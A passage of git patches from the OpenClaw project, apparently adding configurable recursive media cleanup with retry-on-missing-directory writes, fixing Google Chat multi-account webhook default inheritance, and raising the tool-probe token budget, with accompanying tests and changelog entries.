external processing pipelines or longer-lived inbound media retention.", "media.preserveFilenames": "When enabled, uploaded media keeps its original filename instead of a generated temp-safe name. Turn this on when downstream automations depend on stable names, and leave off to reduce accidental filename leakage.", + "media.ttlHours": + "Optional retention window in hours for persisted inbound media cleanup across the full media tree. Leave unset to preserve legacy behavior, or set values like 24 (1 day) or 168 (7 days) when you want automatic cleanup.", audio: "Global audio ingestion settings used before higher-level tools process speech or media content. Configure this when you need deterministic transcription behavior for voice notes and clips.", "audio.transcription": diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index bf7b401f943..e14e66cb266 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -278,6 +278,7 @@ export const FIELD_LABELS: Record = { "nodeHost.browserProxy.allowProfiles": "Node Browser Proxy Allowed Profiles", media: "Media", "media.preserveFilenames": "Preserve Media Filenames", + "media.ttlHours": "Media Retention TTL (hours)", audio: "Audio", "audio.transcription": "Audio Transcription", "audio.transcription.command": "Audio Transcription Command", diff --git a/src/config/types.openclaw.ts b/src/config/types.openclaw.ts index 0a818419557..3d1f0a90080 100644 --- a/src/config/types.openclaw.ts +++ b/src/config/types.openclaw.ts @@ -101,6 +101,12 @@ export type OpenClawConfig = { bindings?: AgentBinding[]; broadcast?: BroadcastConfig; audio?: AudioConfig; + media?: { + /** Preserve original uploaded filenames when storing inbound media. */ + preserveFilenames?: boolean; + /** Optional retention window for persisted inbound media cleanup. */ + ttlHours?: number; + }; messages?: MessagesConfig; commands?: CommandsConfig; approvals?: ApprovalsConfig; diff --git a/src/config/zod-schema.ts b/src/config/zod-schema.ts index 0db5be508c3..5148704a1ac 100644 --- a/src/config/zod-schema.ts +++ b/src/config/zod-schema.ts @@ -423,6 +423,12 @@ export const OpenClawSchema = z media: z .object({ preserveFilenames: z.boolean().optional(), + ttlHours: z + .number() + .int() + .min(1) + .max(24 * 7) + .optional(), }) .strict() .optional(), diff --git a/src/gateway/server-close.ts b/src/gateway/server-close.ts index 635f830b5e2..1d941c0e206 100644 --- a/src/gateway/server-close.ts +++ b/src/gateway/server-close.ts @@ -21,6 +21,7 @@ export function createGatewayCloseHandler(params: { tickInterval: ReturnType; healthInterval: ReturnType; dedupeCleanup: ReturnType; + mediaCleanup: ReturnType | null; agentUnsub: (() => void) | null; heartbeatUnsub: (() => void) | null; chatRunState: { clear: () => void }; @@ -87,6 +88,9 @@ export function createGatewayCloseHandler(params: { clearInterval(params.tickInterval); clearInterval(params.healthInterval); clearInterval(params.dedupeCleanup); + if (params.mediaCleanup) { + clearInterval(params.mediaCleanup); + } if (params.agentUnsub) { try { params.agentUnsub(); diff --git a/src/gateway/server-maintenance.test.ts b/src/gateway/server-maintenance.test.ts new file mode 100644 index 00000000000..4976a34470e --- /dev/null +++ b/src/gateway/server-maintenance.test.ts @@ -0,0 +1,142 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import type { HealthSummary } from "../commands/health.js"; + +const cleanOldMediaMock = vi.fn(async () => {}); + +vi.mock("../media/store.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + cleanOldMedia: cleanOldMediaMock, + }; +}); + +describe("startGatewayMaintenanceTimers", () => { + afterEach(() => { + vi.useRealTimers(); + vi.clearAllMocks(); + }); + + it("does not schedule recursive media cleanup unless ttl is configured", async () => { + vi.useFakeTimers(); + const { startGatewayMaintenanceTimers } = await import("./server-maintenance.js"); + + const timers = startGatewayMaintenanceTimers({ + broadcast: () => {}, + nodeSendToAllSubscribed: () => {}, + getPresenceVersion: () => 1, + getHealthVersion: () => 1, + refreshGatewayHealthSnapshot: async () => ({ ok: true }) as HealthSummary, + logHealth: { error: () => {} }, + dedupe: new Map(), + chatAbortControllers: new Map(), + chatRunState: { abortedRuns: new Map() }, + chatRunBuffers: new Map(), + chatDeltaSentAt: new Map(), + removeChatRun: () => undefined, + agentRunSeq: new Map(), + nodeSendToSession: () => {}, + }); + + expect(cleanOldMediaMock).not.toHaveBeenCalled(); + expect(timers.mediaCleanup).toBeNull(); + + clearInterval(timers.tickInterval); + clearInterval(timers.healthInterval); + clearInterval(timers.dedupeCleanup); + }); + + it("runs startup media cleanup and repeats it hourly", async () => { + vi.useFakeTimers(); + const { startGatewayMaintenanceTimers } = await import("./server-maintenance.js"); + + const timers = startGatewayMaintenanceTimers({ + broadcast: () => {}, + nodeSendToAllSubscribed: () => {}, + getPresenceVersion: () => 1, + getHealthVersion: () => 1, + refreshGatewayHealthSnapshot: async () => ({ ok: true }) as HealthSummary, + logHealth: { error: () => {} }, + dedupe: new Map(), + chatAbortControllers: new Map(), + chatRunState: { abortedRuns: new Map() }, + chatRunBuffers: new Map(), + chatDeltaSentAt: new Map(), + removeChatRun: () => undefined, + agentRunSeq: new Map(), + nodeSendToSession: () => {}, + mediaCleanupTtlMs: 24 * 60 * 60_000, + }); + + expect(cleanOldMediaMock).toHaveBeenCalledWith(24 * 60 * 60_000, { + recursive: true, + pruneEmptyDirs: true, + }); + + cleanOldMediaMock.mockClear(); + await vi.advanceTimersByTimeAsync(60 * 60_000); + expect(cleanOldMediaMock).toHaveBeenCalledWith(24 * 60 * 60_000, { + recursive: true, + pruneEmptyDirs: true, + }); + + clearInterval(timers.tickInterval); + clearInterval(timers.healthInterval); + clearInterval(timers.dedupeCleanup); + if (timers.mediaCleanup) { + clearInterval(timers.mediaCleanup); + } + }); + + it("skips overlapping media cleanup runs", async () => { + vi.useFakeTimers(); + let resolveCleanup = () => {}; + let cleanupReady = false; + cleanOldMediaMock.mockImplementation( + () => + new Promise((resolve) => { + resolveCleanup = resolve; + cleanupReady = true; + }), + ); + const { startGatewayMaintenanceTimers } = await import("./server-maintenance.js"); + + const timers = startGatewayMaintenanceTimers({ + broadcast: () => {}, + nodeSendToAllSubscribed: () => {}, + getPresenceVersion: () => 1, + getHealthVersion: () => 1, + refreshGatewayHealthSnapshot: async () => ({ ok: true }) as HealthSummary, + logHealth: { error: () => {} }, + dedupe: new Map(), + chatAbortControllers: new Map(), + chatRunState: { abortedRuns: new Map() }, + chatRunBuffers: new Map(), + chatDeltaSentAt: new Map(), + removeChatRun: () => undefined, + agentRunSeq: new Map(), + nodeSendToSession: () => {}, + mediaCleanupTtlMs: 24 * 60 * 60_000, + }); + + expect(cleanOldMediaMock).toHaveBeenCalledTimes(1); + + await vi.advanceTimersByTimeAsync(60 * 60_000); + expect(cleanOldMediaMock).toHaveBeenCalledTimes(1); + + if (cleanupReady) { + resolveCleanup(); + } + await Promise.resolve(); + + await vi.advanceTimersByTimeAsync(60 * 60_000); + expect(cleanOldMediaMock).toHaveBeenCalledTimes(2); + + clearInterval(timers.tickInterval); + clearInterval(timers.healthInterval); + clearInterval(timers.dedupeCleanup); + if (timers.mediaCleanup) { + clearInterval(timers.mediaCleanup); + } + }); +}); diff --git a/src/gateway/server-maintenance.ts b/src/gateway/server-maintenance.ts index a93c7995138..581e0d43ec3 100644 --- a/src/gateway/server-maintenance.ts +++ b/src/gateway/server-maintenance.ts @@ -1,4 +1,5 @@ import type { HealthSummary } from "../commands/health.js"; +import { cleanOldMedia } from "../media/store.js"; import { abortChatRunById, type ChatAbortControllerEntry } from "./chat-abort.js"; import type { ChatRunEntry } from "./server-chat.js"; import { @@ -37,10 +38,12 @@ export function startGatewayMaintenanceTimers(params: { ) => ChatRunEntry | undefined; agentRunSeq: Map; nodeSendToSession: (sessionKey: string, event: string, payload: unknown) => void; + mediaCleanupTtlMs?: number; }): { tickInterval: ReturnType; healthInterval: ReturnType; dedupeCleanup: ReturnType; + mediaCleanup: ReturnType | null; } { setBroadcastHealthUpdate((snap: HealthSummary) => { params.broadcast("health", snap, { @@ -129,5 +132,33 @@ export function startGatewayMaintenanceTimers(params: { } }, 60_000); - return { tickInterval, healthInterval, dedupeCleanup }; + if (typeof params.mediaCleanupTtlMs !== "number") { + return { tickInterval, healthInterval, dedupeCleanup, mediaCleanup: null }; + } + + let mediaCleanupInFlight: Promise | null = null; + const runMediaCleanup = () => { + if (mediaCleanupInFlight) { + return mediaCleanupInFlight; + } + mediaCleanupInFlight = cleanOldMedia(params.mediaCleanupTtlMs, { + recursive: true, + pruneEmptyDirs: true, + }) + .catch((err) => { + params.logHealth.error(`media cleanup failed: ${formatError(err)}`); + }) + .finally(() => { + mediaCleanupInFlight = null; + }); + return mediaCleanupInFlight; + }; + + const mediaCleanup = setInterval(() => { + void runMediaCleanup(); + }, 60 * 60_000); + + void runMediaCleanup(); + + return { tickInterval, healthInterval, dedupeCleanup, mediaCleanup }; } diff --git a/src/gateway/server.impl.ts b/src/gateway/server.impl.ts index e9c83156260..1b2048b9396 100644 --- a/src/gateway/server.impl.ts +++ b/src/gateway/server.impl.ts @@ -119,6 +119,17 @@ export { __resetModelCatalogCacheForTest } from "./server-model-catalog.js"; ensureOpenClawCliOnPath(); +const MAX_MEDIA_TTL_HOURS = 24 * 7; + +function resolveMediaCleanupTtlMs(ttlHoursRaw: number): number { + const ttlHours = Math.min(Math.max(ttlHoursRaw, 1), MAX_MEDIA_TTL_HOURS); + const ttlMs = ttlHours * 60 * 60_000; + if (!Number.isFinite(ttlMs) || !Number.isSafeInteger(ttlMs)) { + throw new Error(`Invalid media.ttlHours: ${String(ttlHoursRaw)}`); + } + return ttlMs; +} + const log = createSubsystemLogger("gateway"); const logCanvas = log.child("canvas"); const logDiscovery = log.child("discovery"); @@ -680,8 +691,9 @@ export async function startGatewayServer( let tickInterval = noopInterval(); let healthInterval = noopInterval(); let dedupeCleanup = noopInterval(); + let mediaCleanup: ReturnType | null = null; if (!minimalTestGateway) { - ({ tickInterval, healthInterval, dedupeCleanup } = startGatewayMaintenanceTimers({ + ({ tickInterval, healthInterval, dedupeCleanup, mediaCleanup } = startGatewayMaintenanceTimers({ broadcast, nodeSendToAllSubscribed, getPresenceVersion, @@ -696,6 +708,9 @@ export async function startGatewayServer( removeChatRun, agentRunSeq, nodeSendToSession, + ...(typeof cfgAtStart.media?.ttlHours === "number" + ? { mediaCleanupTtlMs: resolveMediaCleanupTtlMs(cfgAtStart.media.ttlHours) } + : {}), })); } @@ -1002,6 +1017,7 @@ export async function startGatewayServer( tickInterval, healthInterval, dedupeCleanup, + mediaCleanup, agentUnsub, heartbeatUnsub, chatRunState, diff --git a/src/media/server.ts b/src/media/server.ts index b8982cb690a..a55d61919fd 100644 --- a/src/media/server.ts +++ b/src/media/server.ts @@ -96,7 +96,7 @@ export function attachMediaRoutes( // periodic cleanup setInterval(() => { - void cleanOldMedia(ttlMs); + void cleanOldMedia(ttlMs, { recursive: false }); }, ttlMs).unref(); } diff --git a/src/media/store.test.ts b/src/media/store.test.ts index 2941bf8d063..a05f907b3d3 100644 --- a/src/media/store.test.ts +++ b/src/media/store.test.ts @@ -2,7 +2,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import JSZip from "jszip"; import sharp from "sharp"; -import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; +import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; import { isPathWithinBase } from "../../test/helpers/paths.js"; import { createTempHomeEnv, type TempHomeEnv } from "../test-utils/temp-home.js"; @@ -25,6 +25,10 @@ describe("media store", () => { } }); + afterEach(() => { + vi.restoreAllMocks(); + }); + async function withTempStore( fn: (store: typeof import("./store.js"), home: string) => Promise, ): Promise { @@ -64,6 +68,33 @@ describe("media store", () => { }); }); + it("retries buffer writes when cleanup prunes the target directory", async () => { + await withTempStore(async (store) => { + const originalWriteFile = fs.writeFile.bind(fs); + let injectedEnoent = false; + vi.spyOn(fs, "writeFile").mockImplementation(async (...args) => { + const [filePath] = args; + if ( + !injectedEnoent && + typeof filePath === "string" && + filePath.includes(`${path.sep}race-buffer${path.sep}`) + ) { + injectedEnoent = true; + await fs.rm(path.dirname(filePath), { recursive: true, force: true }); + const err = new Error("missing dir") as NodeJS.ErrnoException; + err.code = "ENOENT"; + throw err; + } + return await originalWriteFile(...args); + }); + + const saved = await store.saveMediaBuffer(Buffer.from("hello"), "text/plain", "race-buffer"); + const savedStat = await fs.stat(saved.path); + expect(injectedEnoent).toBe(true); + expect(savedStat.isFile()).toBe(true); + }); + }); + it("copies local files and cleans old media", async () => { await withTempStore(async (store, home) => { const srcFile = path.join(home, "tmp-src.txt"); @@ -83,6 +114,36 @@ describe("media store", () => { }); }); + it("retries local-source writes when cleanup prunes the target directory", async () => { + await withTempStore(async (store, home) => { + const srcFile = path.join(home, "tmp-src-race.txt"); + await fs.writeFile(srcFile, "local file"); + + const originalWriteFile = fs.writeFile.bind(fs); + let injectedEnoent = false; + vi.spyOn(fs, "writeFile").mockImplementation(async (...args) => { + const [filePath] = args; + if ( + !injectedEnoent && + typeof filePath === "string" && + filePath.includes(`${path.sep}race-source${path.sep}`) + ) { + injectedEnoent = true; + await fs.rm(path.dirname(filePath), { recursive: true, force: true }); + const err = new Error("missing dir") as NodeJS.ErrnoException; + err.code = "ENOENT"; + throw err; + } + return await originalWriteFile(...args); + }); + + const saved = await store.saveMediaSource(srcFile, undefined, "race-source"); + const savedStat = await fs.stat(saved.path); + expect(injectedEnoent).toBe(true); + expect(savedStat.isFile()).toBe(true); + }); + }); + it.runIf(process.platform !== "win32")("rejects symlink sources", async () => { await withTempStore(async (store, home) => { const target = path.join(home, "sensitive.txt"); @@ -116,6 +177,97 @@ describe("media store", () => { }); }); + it("cleans old media files in nested subdirectories and preserves fresh siblings", async () => { + await withTempStore(async (store) => { + const oldNested = await store.saveMediaBuffer( + Buffer.from("old nested"), + "text/plain", + path.join("remote-cache", "session-1", "images"), + ); + const freshNested = await store.saveMediaBuffer( + Buffer.from("fresh nested"), + "text/plain", + path.join("remote-cache", "session-1", "docs"), + ); + const oldFlat = await store.saveMediaBuffer(Buffer.from("old flat"), "text/plain", "inbound"); + const past = Date.now() - 10_000; + await fs.utimes(oldNested.path, past / 1000, past / 1000); + await fs.utimes(oldFlat.path, past / 1000, past / 1000); + + await store.cleanOldMedia(1_000, { recursive: true, pruneEmptyDirs: true }); + + await expect(fs.stat(oldNested.path)).rejects.toThrow(); + await expect(fs.stat(oldFlat.path)).rejects.toThrow(); + const freshStat = await fs.stat(freshNested.path); + expect(freshStat.isFile()).toBe(true); + await expect(fs.stat(path.dirname(oldNested.path))).rejects.toThrow(); + }); + }); + + it("keeps nested remote-cache files during shallow cleanup", async () => { + await withTempStore(async (store) => { + const nested = await store.saveMediaBuffer( + Buffer.from("old nested"), + "text/plain", + path.join("remote-cache", "session-1", "images"), + ); + const past = Date.now() - 10_000; + await fs.utimes(nested.path, past / 1000, past / 1000); + + await store.cleanOldMedia(1_000); + + const stat = await fs.stat(nested.path); + expect(stat.isFile()).toBe(true); + }); + }); + + it("prunes empty directory chains after recursive cleanup", async () => { + await withTempStore(async (store) => { + const nested = await store.saveMediaBuffer( + Buffer.from("old nested"), + "text/plain", + path.join("remote-cache", "session-prune", "images"), + ); + const mediaDir = await store.ensureMediaDir(); + const sessionDir = path.dirname(path.dirname(nested.path)); + const remoteCacheDir = path.dirname(sessionDir); + const past = Date.now() - 10_000; + await fs.utimes(nested.path, past / 1000, past / 1000); + + await store.cleanOldMedia(1_000, { recursive: true, pruneEmptyDirs: true }); + + await expect(fs.stat(sessionDir)).rejects.toThrow(); + const remoteCacheStat = await fs.stat(remoteCacheDir); + const mediaStat = await fs.stat(mediaDir); + expect(remoteCacheStat.isDirectory()).toBe(true); + expect(mediaStat.isDirectory()).toBe(true); + }); + }); + + it.runIf(process.platform !== "win32")( + "does not follow symlinked top-level directories during recursive cleanup", + async () => { + await withTempStore(async (store, home) => { + const mediaDir = await store.ensureMediaDir(); + const outsideDir = path.join(home, "outside-media"); + const outsideFile = path.join(outsideDir, "old.txt"); + const symlinkPath = path.join(mediaDir, "linked-dir"); + await fs.mkdir(outsideDir, { recursive: true }); + await fs.writeFile(outsideFile, "outside"); + const past = Date.now() - 10_000; + await fs.utimes(outsideFile, past / 1000, past / 1000); + await fs.symlink(outsideDir, symlinkPath); + + await store.cleanOldMedia(1_000, { recursive: true, pruneEmptyDirs: true }); + + const outsideStat = await fs.stat(outsideFile); + const symlinkStat = await fs.lstat(symlinkPath); + expect(outsideStat.isFile()).toBe(true); + expect(symlinkStat.isSymbolicLink()).toBe(true); + }); + }, + ); + it("sets correct mime for xlsx by extension", async () => { await withTempStore(async (store, home) => { const xlsxPath = path.join(home, "sheet.xlsx"); diff --git a/src/media/store.ts b/src/media/store.ts index 9dc6f5f641b..ceb346a1f94 100644 --- a/src/media/store.ts +++ b/src/media/store.ts @@ -17,6 +17,10 @@ const DEFAULT_TTL_MS = 2 * 60 * 1000; // 2 minutes // Files are intentionally readable by non-owner UIDs so Docker sandbox containers can access // inbound media. The containing state/media directories remain 0o700, which is the trust boundary. const MEDIA_FILE_MODE = 0o644; +type CleanOldMediaOptions = { + recursive?: boolean; + pruneEmptyDirs?: boolean; +}; type RequestImpl = typeof httpRequest; type ResolvePinnedHostnameImpl = typeof resolvePinnedHostname; @@ -88,42 +92,82 @@ export async function ensureMediaDir() { return mediaDir; } -export async function cleanOldMedia(ttlMs = DEFAULT_TTL_MS) { - const mediaDir = await ensureMediaDir(); - const entries = await fs.readdir(mediaDir).catch(() => []); - const now = Date.now(); - const removeExpiredFilesInDir = async (dir: string) => { - const dirEntries = await fs.readdir(dir).catch(() => []); - await Promise.all( - dirEntries.map(async (entry) => { - const full = path.join(dir, entry); - const stat = await fs.stat(full).catch(() => null); - if (!stat || !stat.isFile()) { - return; - } - if (now - stat.mtimeMs > ttlMs) { - await fs.rm(full).catch(() => {}); - } - }), - ); - }; +function isMissingPathError(err: unknown): err is NodeJS.ErrnoException { + return err instanceof Error && "code" in err && err.code === "ENOENT"; +} - await Promise.all( - entries.map(async (file) => { - const full = path.join(mediaDir, file); - const stat = await fs.stat(full).catch(() => null); - if (!stat) { - return; +async function retryAfterRecreatingDir(dir: string, run: () => Promise): Promise { + try { + return await run(); + } catch (err) { + if (!isMissingPathError(err)) { + throw err; + } + // Recursive cleanup can prune an empty directory between mkdir and the later + // file open/write. Recreate once and retry the media write path. + await fs.mkdir(dir, { recursive: true, mode: 0o700 }); + return await run(); + } +} + +export async function cleanOldMedia(ttlMs = DEFAULT_TTL_MS, options: CleanOldMediaOptions = {}) { + const mediaDir = await ensureMediaDir(); + const now = Date.now(); + const recursive = options.recursive ?? false; + const pruneEmptyDirs = recursive && (options.pruneEmptyDirs ?? false); + + const removeExpiredFilesInDir = async (dir: string): Promise => { + const dirEntries = await fs.readdir(dir).catch(() => null); + if (!dirEntries) { + return false; + } + for (const entry of dirEntries) { + const fullPath = path.join(dir, entry); + const stat = await fs.lstat(fullPath).catch(() => null); + if (!stat || stat.isSymbolicLink()) { + continue; } if (stat.isDirectory()) { - await removeExpiredFilesInDir(full); - return; + if (recursive) { + const childIsEmpty = await removeExpiredFilesInDir(fullPath); + if (childIsEmpty) { + await fs.rmdir(fullPath).catch(() => {}); + } + } + continue; } - if (stat.isFile() && now - stat.mtimeMs > ttlMs) { - await fs.rm(full).catch(() => {}); + if (!stat.isFile()) { + continue; } - }), - ); + if (now - stat.mtimeMs > ttlMs) { + await fs.rm(fullPath, { force: true }).catch(() => {}); + } + } + if (!pruneEmptyDirs) { + return false; + } + const remainingEntries = await fs.readdir(dir).catch(() => null); + return remainingEntries !== null && remainingEntries.length === 0; + }; + + const entries = await fs.readdir(mediaDir).catch(() => []); + for (const file of entries) { + const full = path.join(mediaDir, file); + const stat = await fs.lstat(full).catch(() => null); + if (!stat || stat.isSymbolicLink()) { + continue; + } + if (stat.isDirectory()) { + const dirIsEmpty = await removeExpiredFilesInDir(full); + if (dirIsEmpty) { + await fs.rmdir(full).catch(() => {}); + } + continue; + } + if (stat.isFile() && now - stat.mtimeMs > ttlMs) { + await fs.rm(full, { force: true }).catch(() => {}); + } + } } function looksLikeUrl(src: string) { @@ -264,11 +308,13 @@ export async function saveMediaSource( const baseDir = resolveMediaDir(); const dir = subdir ? path.join(baseDir, subdir) : baseDir; await fs.mkdir(dir, { recursive: true, mode: 0o700 }); - await cleanOldMedia(); + await cleanOldMedia(DEFAULT_TTL_MS, { recursive: false }); const baseId = crypto.randomUUID(); if (looksLikeUrl(source)) { const tempDest = path.join(dir, `${baseId}.tmp`); - const { headerMime, sniffBuffer, size } = await downloadToFile(source, tempDest, headers); + const { headerMime, sniffBuffer, size } = await retryAfterRecreatingDir(dir, () => + downloadToFile(source, tempDest, headers), + ); const mime = await detectMime({ buffer: sniffBuffer, headerMime, @@ -287,7 +333,7 @@ export async function saveMediaSource( const ext = extensionForMime(mime) ?? path.extname(source); const id = ext ? `${baseId}${ext}` : baseId; const dest = path.join(dir, id); - await fs.writeFile(dest, buffer, { mode: MEDIA_FILE_MODE }); + await retryAfterRecreatingDir(dir, () => fs.writeFile(dest, buffer, { mode: MEDIA_FILE_MODE })); return { id, path: dest, size: stat.size, contentType: mime }; } catch (err) { if (err instanceof SafeOpenError) { @@ -326,6 +372,6 @@ export async function saveMediaBuffer( } const dest = path.join(dir, id); - await fs.writeFile(dest, buffer, { mode: MEDIA_FILE_MODE }); + await retryAfterRecreatingDir(dir, () => fs.writeFile(dest, buffer, { mode: MEDIA_FILE_MODE })); return { id, path: dest, size: buffer.byteLength, contentType: mime }; } From a01978ba96cc155c73bc8fd784f8bfa7976a5ae1 Mon Sep 17 00:00:00 2001 From: Tak Hoffman <781889+Takhoffman@users.noreply.github.com> Date: Fri, 6 Mar 2026 21:11:55 -0600 Subject: [PATCH 087/844] fix(googlechat): inherit shared defaults for multi-account webhook auth (#38492) * fix(googlechat): inherit shared defaults from accounts.default * fix(googlechat): do not inherit default enabled state * fix(googlechat): avoid inheriting default credentials * fix(googlechat): keep dangerous auth flags account-local --- CHANGELOG.md | 1 + extensions/googlechat/src/accounts.test.ts | 131 +++++++++++++++++++++ extensions/googlechat/src/accounts.ts | 16 ++- 3 files changed, 147 insertions(+), 1 deletion(-) create mode 100644 extensions/googlechat/src/accounts.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 9f5c74cc491..6f88d299f45 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -219,6 +219,7 @@ Docs: https://docs.openclaw.ai - Agents/usage normalization: normalize missing or partial assistant usage snapshots before compaction accounting so `openclaw agent --json` no longer crashes when provider payloads omit `totalTokens` or related usage fields. (#34977) thanks @sp-hk2ldn. - Venice/default model refresh: switch the built-in Venice default to `kimi-k2-5`, update onboarding aliasing, and refresh Venice provider docs/recommendations to match the current private and anonymized catalog. (from #12964) Fixes #20156. Thanks @sabrinaaquino and @vincentkoc. - Agents/skill API write pacing: add a global prompt guardrail that treats skill-driven external API writes as rate-limited by default, so runners prefer batched writes, avoid tight request loops, and respect `429`/`Retry-After`. Thanks @vincentkoc. +- Google Chat/multi-account webhook auth fallback: when `channels.googlechat.accounts.default` carries shared webhook audience/path settings (for example after config normalization), inherit those defaults for named accounts while preserving top-level and per-account overrides, so inbound webhook verification no longer fails silently for named accounts missing duplicated audience fields. Fixes #38369. ## 2026.3.2 diff --git a/extensions/googlechat/src/accounts.test.ts b/extensions/googlechat/src/accounts.test.ts new file mode 100644 index 00000000000..18256688971 --- /dev/null +++ b/extensions/googlechat/src/accounts.test.ts @@ -0,0 +1,131 @@ +import type { OpenClawConfig } from "openclaw/plugin-sdk/googlechat"; +import { describe, expect, it } from "vitest"; +import { resolveGoogleChatAccount } from "./accounts.js"; + +describe("resolveGoogleChatAccount", () => { + it("inherits shared defaults from accounts.default for named accounts", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + accounts: { + default: { + audienceType: "app-url", + audience: "https://example.com/googlechat", + webhookPath: "/googlechat", + }, + andy: { + serviceAccountFile: "/tmp/andy-sa.json", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "andy" }); + expect(resolved.config.audienceType).toBe("app-url"); + expect(resolved.config.audience).toBe("https://example.com/googlechat"); + expect(resolved.config.webhookPath).toBe("/googlechat"); + expect(resolved.config.serviceAccountFile).toBe("/tmp/andy-sa.json"); + }); + + it("prefers top-level and account overrides over accounts.default", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + audienceType: "project-number", + audience: "1234567890", + accounts: { + default: { + audienceType: "app-url", + audience: "https://default.example.com/googlechat", + webhookPath: "/googlechat-default", + }, + april: { + webhookPath: "/googlechat-april", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "april" }); + expect(resolved.config.audienceType).toBe("project-number"); + expect(resolved.config.audience).toBe("1234567890"); + expect(resolved.config.webhookPath).toBe("/googlechat-april"); + }); + + it("does not inherit disabled state from accounts.default for named accounts", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + accounts: { + default: { + enabled: false, + audienceType: "app-url", + audience: "https://example.com/googlechat", + }, + andy: { + serviceAccountFile: "/tmp/andy-sa.json", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "andy" }); + expect(resolved.enabled).toBe(true); + expect(resolved.config.enabled).toBeUndefined(); + expect(resolved.config.audienceType).toBe("app-url"); + }); + + it("does not inherit default-account credentials into named accounts", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + accounts: { + default: { + serviceAccountRef: { + source: "env", + provider: "test", + id: "default-sa", + }, + audienceType: "app-url", + audience: "https://example.com/googlechat", + }, + andy: { + serviceAccountFile: "/tmp/andy-sa.json", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "andy" }); + expect(resolved.credentialSource).toBe("file"); + expect(resolved.credentialsFile).toBe("/tmp/andy-sa.json"); + expect(resolved.config.audienceType).toBe("app-url"); + }); + + it("does not inherit dangerous name matching from accounts.default", () => { + const cfg: OpenClawConfig = { + channels: { + googlechat: { + accounts: { + default: { + dangerouslyAllowNameMatching: true, + audienceType: "app-url", + audience: "https://example.com/googlechat", + }, + andy: { + serviceAccountFile: "/tmp/andy-sa.json", + }, + }, + }, + }, + }; + + const resolved = resolveGoogleChatAccount({ cfg, accountId: "andy" }); + expect(resolved.config.dangerouslyAllowNameMatching).toBeUndefined(); + expect(resolved.config.audienceType).toBe("app-url"); + }); +}); diff --git a/extensions/googlechat/src/accounts.ts b/extensions/googlechat/src/accounts.ts index 537c898d77e..f597efbece4 100644 --- a/extensions/googlechat/src/accounts.ts +++ b/extensions/googlechat/src/accounts.ts @@ -71,8 +71,22 @@ function mergeGoogleChatAccountConfig( ): GoogleChatAccountConfig { const raw = cfg.channels?.["googlechat"] ?? {}; const { accounts: _ignored, defaultAccount: _ignored2, ...base } = raw; + const defaultAccountConfig = resolveAccountConfig(cfg, DEFAULT_ACCOUNT_ID) ?? {}; const account = resolveAccountConfig(cfg, accountId) ?? {}; - return { ...base, ...account } as GoogleChatAccountConfig; + if (accountId === DEFAULT_ACCOUNT_ID) { + return { ...base, ...defaultAccountConfig } as GoogleChatAccountConfig; + } + const { + enabled: _ignoredEnabled, + dangerouslyAllowNameMatching: _ignoredDangerouslyAllowNameMatching, + serviceAccount: _ignoredServiceAccount, + serviceAccountRef: _ignoredServiceAccountRef, + serviceAccountFile: _ignoredServiceAccountFile, + ...defaultAccountShared + } = defaultAccountConfig; + // In multi-account setups, allow accounts.default to provide shared defaults + // (for example webhook/audience fields) while preserving top-level and account overrides. + return { ...defaultAccountShared, ...base, ...account } as GoogleChatAccountConfig; } function parseServiceAccount(value: unknown): Record | null { From fa69f836c4630348dbcb182868b2a022c989b5bc Mon Sep 17 00:00:00 2001 From: Jakob <38699060+jakobdylanc@users.noreply.github.com> Date: Fri, 6 Mar 2026 22:27:28 -0500 Subject: [PATCH 088/844] fix: increase maxTokens for tool probe to support reasoning models Closes #7521 --- CHANGELOG.md | 1 + src/agents/model-scan.ts | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6f88d299f45..4fef2df25ce 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -220,6 +220,7 @@ Docs: https://docs.openclaw.ai - Venice/default model refresh: switch the built-in Venice default to `kimi-k2-5`, update onboarding aliasing, and refresh Venice provider docs/recommendations to match the current private and anonymized catalog. (from #12964) Fixes #20156. Thanks @sabrinaaquino and @vincentkoc. - Agents/skill API write pacing: add a global prompt guardrail that treats skill-driven external API writes as rate-limited by default, so runners prefer batched writes, avoid tight request loops, and respect `429`/`Retry-After`. Thanks @vincentkoc. - Google Chat/multi-account webhook auth fallback: when `channels.googlechat.accounts.default` carries shared webhook audience/path settings (for example after config normalization), inherit those defaults for named accounts while preserving top-level and per-account overrides, so inbound webhook verification no longer fails silently for named accounts missing duplicated audience fields. Fixes #38369. +- Models/tool probing: raise the tool-capability probe budget from 32 to 256 tokens so reasoning models that spend tokens on thinking before returning a required tool call are less likely to be misclassified as not supporting tools. (#7521) Thanks @jakobdylanc. ## 2026.3.2 diff --git a/src/agents/model-scan.ts b/src/agents/model-scan.ts index 3fe131d9d3d..a0f05e05475 100644 --- a/src/agents/model-scan.ts +++ b/src/agents/model-scan.ts @@ -262,7 +262,7 @@ async function probeTool( const message = await withTimeout(timeoutMs, (signal) => complete(model, context, { apiKey, - maxTokens: 32, + maxTokens: 256, temperature: 0, toolChoice: "required", signal, From 1a022a31de8360191c93623f0d6d192296d32f34 Mon Sep 17 00:00:00 2001 From: Xinhua Gu Date: Sat, 7 Mar 2026 04:47:32 +0100 Subject: [PATCH 089/844] fix(gateway): classify wrapped "fetch failed" messages as transient network errors (openclaw#38530) Verified: - pnpm build - pnpm check - pnpm test:macmini Co-authored-by: xinhuagu <562450+xinhuagu@users.noreply.github.com> Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com> --- 